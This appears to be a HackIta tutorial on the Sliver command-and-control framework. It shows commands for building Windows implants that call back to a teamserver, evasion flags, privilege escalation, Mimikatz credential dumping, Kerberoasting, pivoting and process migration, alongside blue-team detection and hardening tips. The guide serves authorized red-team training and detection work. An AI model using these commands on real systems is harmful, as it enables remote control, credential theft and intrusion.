Sliver C2: Guide to Listeners, Beacons, Implants and Armory

Sliver C2: From Listeners to Beacons, the Complete Guide to the Red Team Framework #

Sliver is an open source C2 (Command & Control) framework written in Go, developed by Bishop Fox: it generates cross-platform (Windows/Linux/macOS) implants and manages them from a centralized console, with support for beacons, interactive sessions, pivoting and post-exploitation modules.

Cobalt Strike costs thousands of euros per year to license. Sliver offers much of the same capabilities—multi-protocol C2, cross-platform implantation, post-exploitation—for free and open source. Sliver is now one of the most widely used open-source C2 frameworks in penetration testing labs, red team training, and authorized engagements: its cross-platform architecture and support for sessions, beacons, pivoting, and post-exploitation modules make it particularly attractive for those studying C2 and adversary simulation, including those preparing for the OSEP.

Note for those approaching from a defensive perspective: Sliver isn't just a lab tool. Being open source and free, it's also used by real threat actors—for example, it's been observed as a payload after the BumbleBee loader, and groups like APT29 have used it in real-world campaigns. If you work on the blue team side, understanding how it works offensively (this guide) is what you need to recognize it.

When to use it: Authorized red teams, HTB/ProLab labs, OSEP preparation, personal test environments. What it covers: Installation, listeners (mTLS/HTTP/DNS/WireGuard), implant generation, beacons vs. sessions, post-exploitation, Armory. What it doesn't cover: Advanced EDR evasion and C2 infrastructure hardening (domain fronting, advanced redirectors)—topics for a separate article.

Tested version: Sliver commands change between releases. Check your version with sliver-server version and always check help/<comando> --help before blindly relying on a flag in this guide.

Prerequisites #

• Linux (Kali or other distro), root/sudo access
• mingw-w64 if you need to compile Windows implant from a Linux server
• A Windows/Linux/macOS lab machine (HTB, ProLab, personal VM)
• Network connectivity between Teamserver and target
• Explicit authorization to perform the implant on the target

All examples in this guide use lab IP (10.10.14.5). Replace this with the address of your Teamserver in your authorized environment.

Phase 0 — Understanding the logic before the commands #

A Sliver infrastructure has four pieces that must fit together:

Operator
   │
   ▼
Sliver Client (console dell'operatore)
   │
   ▼
Sliver Teamserver (sliver-server, mantiene stato e sessioni)
   │
   ├── Listener (mTLS / HTTP / DNS / WireGuard)
   │
   └── Implant → si connette al listener → Target

1. Operator — the person who commands, operates through sliver-client
2. Teamserver —where it turns sliver-server, receives connections and maintains engagement state
3. listener — the protocol listening on the Teamserver (mTLS, HTTP, DNS, WireGuard)
4. Implant — the binary that runs on the target machine and connects to the listener

Client and server can run on the same machine (lab setup) or be separate, with multiple operators connected to the same Teamserver (see Multiplayer section below).

The most common beginner's mistake: generating an implant with one protocol and trying to capture it with a listener of a different protocol, or on a different IP/port than the one compiled into the binary. They must match exactly.

Phase 1 — Installation #

curl https://sliver.sh/install | sudo bash

To compile Windows from a Linux server, you need the MinGW compiler:

sudo apt install mingw-w64

Verify that the installation was successful:

sliver-server version

Starting the server (opens the interactive console):

sliver-server

Phase 2 — Listener: start listening #

Sliver supports 4 protocols:

# Listener mTLS sulla porta di default
sliver > mtls

# Listener HTTP sulla porta 80
sliver > http

# Listener HTTPS con certificato personalizzato
sliver > https --lhost 10.10.14.5 --lport 443 --cert /path/to/cert.crt --key /path/to/key.key

# Listener DNS — il tuo dominio deve avere i record NS che puntano al Teamserver
sliver > dns --domains lab.local

# Listener WireGuard
sliver > wg --lport 51820

# Verifica i listener attivi
sliver > jobs

jobs It shows everything running on the server, not just listeners but also any web hosts used for delivery. The typical output is a table with ID, name, protocol, and port—the exact format may vary slightly between versions.

For DNS, you need to control a DNS zone delegated to Teamserver (the domain's NS records must point to your IP); for WireGuard, the target must be able to reach the configured UDP port. Both should be tested in the lab before a real-world deployment.

HTTPS vs mTLS — When to Use Which #

They are both encrypted, but the context changes:

• mTLS → Mutual authentication between client and server (the server also authenticates the beacon). However, the self-generated Sliver certificate has a recognizable pattern that a defender can specifically look for.
• HTTPS with custom cert → The beacon authenticates the server using a legitimate certificate. The traffic can be inserted into a normal HTTPS stream, but TLS does not automatically make traffic indistinguishable from ordinary web traffic: an EDR/NDR can still analyze SNI, certificate, JA3/JA4, JARM, destination, packet frequency and size, URI, User-Agent and periodicity.

Step 3 — Generate an implant #

sliver > generate --mtls 10.10.14.5:443 --os windows --arch amd64 --save /home/kali/implant.exe

Each parameter has a specific purpose:

• --mtls 10.10.14.5:443 — the listener the implant will try to connect to must match the one started in Phase 2
• --os / --arch — target platform, Sliver compiles cross-platform from a single machine
• --save — where to save the compiled binary

To find out all the flags available in your version, don't rely on the guide by heart — always check:

sliver > generate --help
sliver > generate beacon --help

After generation, verify that the file actually exists before delivering it:

ls -lh /home/kali/implant.exe
file /home/kali/implant.exe
sha256sum /home/kali/implant.exe

The hash is also useful in the lab just to track which build you actually ran on the target, in case of troubleshooting.

Advanced flags worth knowing #

sliver > generate beacon --mtls 10.10.14.5:443 --os windows --arch amd64 \
  --format exe --evasion --skip-symbols --name test-lab

• --format — output format (exe, shared for DLL, service, shellcode)
• --evasion — enables the evasion options provided by Sliver's build. It is not a guarantee of bypass of modern AV/EDR, it is an additional level of obfuscation that must be verified on a case-by-case basis
• --skip-symbols — removes debug symbols from the binary, reduces static footprint
• --debug — build with verbose log, useful only in lab to understand why something is not working, never in a real engagement
• --name — internal name of the implant, otherwise Sliver generates a random name
• --canary — inserts decoy domains into the binary (see Canary section below)

Output formats – which one to choose #

Stageless vs. Staged — What Really Generates generate #

By default, generate produces an implant stageless: all the code (communication + functionality) is already inside the binary you drop on the target, just one file, no second download phase.

A staged implant works differently: you drop a very small stager on the target, which connects to the Teamserver and downloads the rest of the payload only later, into memory. Sliver also supports this mode (HTTP(S) stagers, also compatible with the Metasploit stager).

Why the difference matters:

• Stageless → easier to manage, but the binary is larger and carries all the code right from the start (more surface for static analysis of an AV)
• Staged → the first dropped file is tiny and apparently harmless, the real payload arrives later via the network — but this second network “hop” is in turn an observable event for those monitoring the traffic

In most of the labs and examples in this guide (including generate --mtls ...) we are generating stageless implants, which is also the simplest default to start with.

Session vs. Beacon—the choice that changes everything #

# Implant a sessione: connessione persistente, interattiva in tempo reale
sliver > generate --mtls 10.10.14.5:443 --os windows

# Implant beacon: check-in periodico
sliver > generate beacon --mtls 10.10.14.5:443 --os windows --seconds 60 --jitter 30

Visual difference:

SESSIONE
Target ──────────────── Teamserver
       connessione interattiva costante

BEACON
Target ── check-in ──► Teamserver
Target ◄── task ────── Teamserver
       ...attesa...
Target ── check-in ──► Teamserver

An Session maintains an open connection — convenient for operating in real time, but generates constant and recognizable network traffic. beacon it connects only at intervals (here a nominal interval of 60 seconds with variation introduced by the parameter --jitter; the exact jitter behavior needs to be verified on the version of Sliver you are using), executes the queued tasks, and disconnects.

Warning: Beacons don't automatically mean stealth. They reduce the frequency of communication, but the implant's overall behavior—process injections, system calls, artifacts left on disk or in memory—can still be detected.

Red teamer rule of thumb: Beacon for long-term persistence where detection matters; session when quick interaction is needed and you're willing to trade a little stealth for operational convenience.

Everything at a glance #

Sliver vs other C2s — when to choose it #

Sliver remains a solid choice when you need free, open source, and sufficiently complete software without license restrictions—which is why it's now popular in OSEP labs. For those who want to delve deeper into each subsystem (generation, transport, evasion), the Sliver C2 Deep Dive series is a good practical complement to this guide, written by those who use it daily in the field.

Profiles — don't retype the same flags every time #

sliver > profiles new beacon --mtls 10.10.14.5:443 --os windows --arch amd64 --seconds 60 --jitter 30 profilo-lab
sliver > profiles generate profilo-lab

Profiles are useful when an engagement requires multiple implants with homogeneous characteristics: they avoid configuration errors and make generation reproducible — one command instead of rewriting 5 flags each time.

Canary — Know if your implant has been discovered #

Sliver has a little-known but useful feature: the canary, “decoy” domains that you generate together with the implant with --canary <dominio>The domain is embedded in the binary but never resolved during normal operation—the only way someone can resolve it is to open the binary in an AV sandbox, a debugger, or analyze it manually.

sliver > canaries

If a canary is “triggered,” it means someone (a sandboxed AV, a blue team analyst) has opened your implant outside of the intended context—an operational alert, useful both in a real red team and to understand in the lab how the mechanism works before encountering it in a more advanced CTF/box.

Step 4 — Capture the connection and operate #

After you have implanted the target, check the arrival:

sliver > sessions
sliver > beacons

Interact with a specific session:

sliver > use <session-id>

When you don't remember a command or its flags, don't guess:

sliver > help
sliver > help <comando>
sliver (implant) > info

Basic commands once inside — conceptually close to a Meterpreter, if you're familiar with Metasploit:

sliver (implant) > whoami
sliver (implant) > ps
sliver (implant) > netstat
sliver (implant) > getprivs
sliver (implant) > getsystem

getsystem Attempts automatic privilege escalation techniques to gain SYSTEM context; the actual method used depends on the Sliver version and target conditions, and is not guaranteed to work.

On a beacon, commands are queued, not immediate #

sliver (beacon) > tasks
sliver (beacon) > tasks fetch <task-id>

A command launched on a beacon does not respond immediately: it is queued and retrieved at the next check-in. tasks show the tail, tasks fetch retrieve the result when available.

Pivoting — reaching non-exposed hosts directly #

sliver (implant) > socks5 start
sliver (implant) > portfwd add --remote 192.168.1.5:445 --local 127.0.0.1:8445

Two different logics:

SOCKS5                              PORT FORWARD
Attacker                            127.0.0.1:8445
   │                                       │
   ▼                                       ▼
Proxy SOCKS via implant             Compromised host
   │                                       │
   ▼                                       ▼
Compromised host                    192.168.1.5:445
   ├── 10.10.10.10:445
   ├── 10.10.10.20:389
   └── 10.10.10.30:80

socks5 opens a proxy through the implant to route any tool (Packet, nmap) to the entire internal network reachable by the compromised host. portfwd forward a single specific port —more surgical, useful when you need to reach a single service (e.g., SMB) without opening a generic proxy. For a more in-depth theory, see Pivoting on HackIta.

Loot — collect and store artifacts #

sliver (implant) > download C:\Users\admin\Desktop\file.txt
sliver (implant) > upload ./tool.exe C:\Windows\Temp\tool.exe
sliver (implant) > screenshot
sliver > loot

loot It centrally tracks everything you download during the engagement—convenient for the final report instead of chasing files scattered across disk. The loot can contain credentials, tokens, and sensitive documents: in a real engagement, it must be stored according to the evidence management rules defined in the scope, not left unencrypted on the attacker box.

Phase 5 — Armory: Expanding Capabilities #

The Armory is Sliver's package manager for third-party tools (BOF, .NET tooling like Ghostpack):

sliver > armory search

Targeted installation of a single module — better than installing everything indiscriminately:

sliver > armory install rubeus

Evita armory install all in a real environment unless specifically needed: installing numerous modules in bulk increases the operational surface and makes it more difficult to know, in retrospect, which components were actually used during the engagement.

Using a module installed on an active implant:

sliver (implant) > rubeus kerberoast
sliver (implant) > mimikatz -command "sekurlsa::logonpasswords"

This is where Sliver really comes in handy in an Active Directory context on HackIta : the same tools you know from Mimikatz on HackIta and Rubeus, executed in-memory via implantation instead of dropped to disk. Kerberoasting on HackIta is one of the main tasks once you have a valid session. For initial domain enumeration, it also integrates BloodHound on HackIta.

Be careful before installing third-party modules: the Armory includes contributions from the community, not just the Sliver team. Always verify an extension's source code before using it in a live engagement.

Aliases vs. Extensions vs. Armory — Who's Who #

• Armory — the package manager, how you install everything else
• Alias — a wrapper that runs an existing program (e.g. Seatbelt) inside the implant process via execute-assembly/sideload, without spawning a new process
• Extension — a shared library loaded directly into the implant, more integrated but with possible additional dependencies

Basically: the Armory is the store, aliases and extensions are the two types of products you find inside.

A layer above Armory: Sliver also exposes a scripting API (Python and JavaScript/TypeScript) that talks directly to Teamserver via gRPC. While Armory/aliases/extensions extend what the implant can do, scripting automates the operator itself—useful for repetitive workflows (e.g., automatically generating and deploying implants to multiple targets) rather than for a single manual command.

BOF — Beacon Object File #

Un BOF (Beacon Object File) It is a piece of compiled code (C, Assembly, or Go) executed directly within the implant process via an in-memory runtime. It is not a standalone executable, but an object file (.o on Linux/macOS, .obj on Windows).

sliver > armory install sharphound
sliver (implant) > sharphound

Real benefits of BOFs, without exaggeration:

• Running in memory can avoid the normal artifact drop on the filesystem — but it doesn't mean no traces: memory, EDR telemetry, API calls, and network telemetry can still be observed.
• It may avoid some events associated with the creation of a child process, but it does not eliminate the possibility of behavioral detection.
• Common operational commands: AD enumeration with SharpHound, credential dumping via extensions, direct syscalls

BOF is an advanced topic — not all environments require custom BOF compilation, but it’s good to know that Sliver supports them.

Multiplayer — multiple operators on the same engagement #

sliver-server > multiplayer
sliver-server > new-operator --name operatore2 --lhost 10.10.14.5

Operator 1 ──┐
              ├──► Teamserver (stato condiviso: sessioni, beacon, loot)
Operator 2 ──┘

The command new-operator generates a configuration file with client certificate that the other operator imports into its own sliver-clientEach operator sees the same shared state—sessions, beacons, loot—and Teamserver keeps server-side logs of actions performed, along with the operator who initiated them: useful for internal team auditing in multiplayer environments where you need to know who did what.

Logs and persistent data are stored in the configuration directory used by Teamserver (typically under the home directory of the user running sliver-server); the exact path may depend on the version and configuration — please verify this with your installation rather than assuming it.

Migration and Process Injection — Moving between processes #

When you have a beacon or session on a target, you often need to switch between processes to continue operating without depending on the original process.

Why migrate:

• the original process is unstable or about to terminate
• a different security context is needed
• Do you want to continue the operation even if the initial process (e.g. an Office document that executed the payload) is closed by the user?

sliver (implant) > spawn
sliver (implant) > migrate <pid>
sliver (implant) > execute-assembly <path-to-binary>
sliver (implant) > sideload <path-to-dll>

• spawn — spawns a new child process and injects the beacon into it
• migrate <pid> — transfers the beacon to an existing process
• execute-assembly — loads a .NET binary in-memory without dropping to disk (works for C# tools like Rubeus, Seatbelt)
• sideload — loads a DLL into the implant process, useful for tools that require a DLL

Migration ≠ privilege escalation. Moving an implant to another process doesn't automatically grant higher privileges: the token and security context of the target process determine what you can do after migration, not the migration itself.

Cleanup: Close everything at the end of the test #

In a lab or engagement, leaving listeners active and implants on target is bad practice—both for operational hygiene and because a forgotten implant leaves an open door.

sliver (implant) > kill
sliver > jobs
sliver > jobs -k <job-id>
rm /home/kali/implant.exe

On a test/lab host, also verify that no artifacts remain on the target (dropped files, persistence entries created with Armory modules) before considering the test done—in an authorized red team, the cleanup is as much a part of the deliverable as the report.

Complete end-to-end lab #

Minimum scenario to put all the pieces together in the laboratory:

ATTACKER (10.10.14.5)
     │ mTLS :443
     ▼
SLIVER TEAMSERVER
     │
     ▼
TARGET WINDOWS DI LAB (10.10.10.20)

[ ] 1. sliver-server → avvia Teamserver
[ ] 2. mtls → avvia listener
[ ] 3. generate beacon --mtls 10.10.14.5:443 --os windows → genera implant
[ ] 4. trasferisci l'implant al target (delivery, fuori scope Sliver)
[ ] 5. esegui l'implant sul target
[ ] 6. beacons → verifica il check-in
[ ] 7. use <id> → interagisci
[ ] 8. whoami / ps / getprivs → enumerazione base
[ ] 9. socks5 start / portfwd → pivoting se serve raggiungere altri host
[ ] 10. kill / jobs -k → cleanup

When NOT to use Sliver — choose the right tool #

Sliver is powerful, but it's not always the best choice. Before building a beacon, consider whether the task really requires persistent C2:

Sliver makes sense when:

• Centralized management is needed multiple hosts simultaneously
• You plan structured post-exploitation with modules (Armory, BOF)
• Have you got more operators that work in parallel (multiplayer)
• Engagement long term where periodic beacon check-in matters
• After an initial compromise, it is necessary articulated lateral movement via SOCKS/portfwd

OPSEC and Network Visibility #

There is no “universally stealthy” protocol or configuration — it is the network context and telemetry of the environment that counts.

Red Team Side #

• High jitter on the beacon reduces the predictability of the check-in pattern compared to a fixed interval
• The choice of protocol (mTLS/HTTP/DNS/WireGuard) should be evaluated on the network context, not on a generic label of “quieter”
• A common port (443) does not automatically make traffic legitimate: a suspicious process opening an outbound connection on 443 to a VPS IP with an anomalous TLS fingerprint remains detectable
• Protocol/port rotation between different engagements: Defenders build signatures on recurring patterns
• In-memory execution via Armory (execute-assembly, sideload) where possible, to reduce the disk footprint compared to dropping compiled binaries (see also LOLBins on HackIta (for alternatives with native tools)

A redirector (an intermediate VPS/proxy in front of the Teamserver) does not make the C2 invisible: it adds an intermediate layer and reduces the direct exposure of the Teamserver, but the traffic between the redirector and the target is still observable on the host/network side.

Beacon → Redirector → Teamserver

Blue Team Side #

• TLS Certificate Anomalies: Sliver Generates Custom Certificates with Potentially Recognizable Patterns
• JA3/JA4/JARM fingerprint of encrypted traffic
• HTTP metadata (URI, User-Agent, request frequency)
• Abnormal DNS queries, if the listener used is DNS
• Unusual process injection patterns and parent-child relationships, not just static signatures
• Non-standard ports known as Sliver defaults (e.g. UDP/51820 for WireGuard), if they have not been remapped

Troubleshooting #

The implant does not connect to the listener #

Check in order:

1. Listener attivo? (jobs)
2. IP corretto?
3. Porta corretta?
4. Protocollo corretto? (deve combaciare tra generate e listener)
5. Routing tra target e Teamserver?
6. Firewall in uscita sul target?
7. DNS risolto correttamente (se listener DNS)?
8. Il target raggiunge davvero il Teamserver?
9. L'implant è stato eseguito?
10. Il Teamserver riceve traffico?

On Teamserver:

sliver > jobs
ss -lntp
sudo tcpdump -ni any port 443

On target (Windows):

Test-NetConnection 10.10.14.5 -Port 443

Common Errors Table #

Quick hardening (defensive side) #

• Monitor non-standard ports — TCP/8888 (mTLS) and UDP/51820 (WireGuard) are the Sliver defaults, often left unchanged
• Analyze anomalies in TLS certificates — Sliver generates custom certificates with recognizable patterns
• EDR with behavioral detection — look for process injection patterns and unusual parent-child relationships, not just static signatures
• Windows Security logs, Sysmon and PowerShell logging — if the implant hits DCSync, credential dumps or .NET in-memory execution, there are still traces left on the Windows side regardless of the C2 used
• Network telemetry and DNS logs — also useful against DNS/WireGuard listeners
• (In AWS cloud infrastructure, add CloudTrail to the audit — it is not a Windows log and should be kept separate from the rest of this list.)

Sliver Architecture and Operational Workflow #

Infrastructure components #

Operator (Red Teamer) con sliver-client
            ↓ (SSH / VPN)
Sliver Teamserver (sliver-server + DB)
            ↓
Listener (mTLS/HTTP/DNS/WireGuard)
            ↓
[Opzionale: Redirector/VPS intermediario per celare il Teamserver vero]
            ↓
Network (Internet o Intranet)
            ↓
Target Host (beacon/sessione Sliver)

Step-by-step operational flow #

[ ] 1. Setup Teamserver (sliver-server + listener)
[ ] 2. Generazione implant (beacon o sessione)
[ ] 3. Delivery (phishing, exploit, USB — fuori scope Sliver)
[ ] 4. Connessione al listener
[ ] 5. Interazione (use <id>, comandi, enumeration)
[ ] 6. Lateral Movement (SOCKS, portfwd, pivoting)
[ ] 7. Cleanup (kill, rimozione file, chiusura listener)

Sliver and MITRE ATT&CK: Why C2 Is Not a Technique #

Sliver is a tool ; the ATT&CK technique depends on the behavior executed by the tool, not on simply using Sliver. Using Sliver doesn't automatically equate to T1055 or T1027—it depends on what you do once inside (injection? no? execute-assembly in-memory? credential dump?).

For an in-depth comparison of Sliver and other C2 frameworks (Mythic, Havoc, Empire, etc.), the Sliver C2 Matrix factsheet is a less mainstream but widely used industry resource for those considering which C2 framework to adopt in a lab.

Cheat Sheet commands #

Not a silent list: each command does what it does, so you can use it even without reading the whole article.

Server & Hosting

Generazione

Interaction

Post-exploitation

Pivot

File / Loot

Cleanup

Operational checklist #

[ ] Server installato, mingw-w64 se serve compilare per Windows
[ ] Listener avviato con protocollo/porta decisi in anticipo
[ ] Implant generato con parametri che combaciano esattamente col listener
[ ] Binario verificato (ls/file/sha256sum) prima della delivery
[ ] Scelta consapevole beacon (check-in periodico) vs sessione (interattività)
[ ] Armory: moduli verificati prima dell'uso in engagement reale, installazione mirata invece di "install all"
[ ] Rotazione di protocolli/porte tra engagement diversi
[ ] Cleanup finale: kill sessioni, stop listener, rimozione artefatti dal target

FAQ #

Is Sliver legal to use? Yes, it's an open-source framework for authorized security testing. Like any C2, it should only be used in labs, CTFs, or red teams with explicit written authorization—the same tool is also used by real threat actors, which is another reason to always stay within the authorized scope.

Sliver or Cobalt Strike? Cobalt Strike has more years of commercial development and a more mature third-party ecosystem, but it's expensive. Sliver is free, open source, and mature enough to cover most red team use cases, including use in OSEP pathways.

Beacon or session: which should you choose by default? Beacon is the default for most cases—less noisy, sufficient for enumeration tasks and asynchronous post-exploitation. Session is only used when you really need real-time interactivity.

Why won't my implant connect? 90% of the time, it's a mismatch between the IP/port/protocol of the generated implant and the listener actually started—check that first.

Does Sliver run on Linux and Kali? Yes, both server and client run on Linux (including macOS and Windows), including Kali: it's the most common environment for hosting Teamserver in labs.

Is Sliver pivoting? Yes, through socks5 (generic proxy to the internal network) and portfwd (single specific port).

Does Sliver bypass Windows Defender? This is not considered a guaranteed bypass. Detection depends on the implant version, system configuration, EDR in use, and available telemetry. --evasion It helps but it's not a certainty.

Related Articles — HackIta C2 & Post-Exploitation Cluster #

Setup & Pivoting:

• Complete Pivoting: Recon, Tool Choice, OPSEC, End-to-End Scenario — how to reach the target
• Ligolo-ng: Kernel TUN routing, if raw TCP is available
• DNS Pivoting: Iodine and Dnscat2 (a last resort) — standalone DNS listener

Post-Exploitation Active Directory:

• Mimikatz: Credential Dumping SAM/LSA/Kerberos — extract creds from Armory modules
• DCSync: NTDS Replication via Kerberos — DC database replication
• NetExec: SMB/LDAP Enumeration & Exploitation — mass creds validation

Official references: Sliver GitHub — releases, source code Sliver Wiki — documentation, examples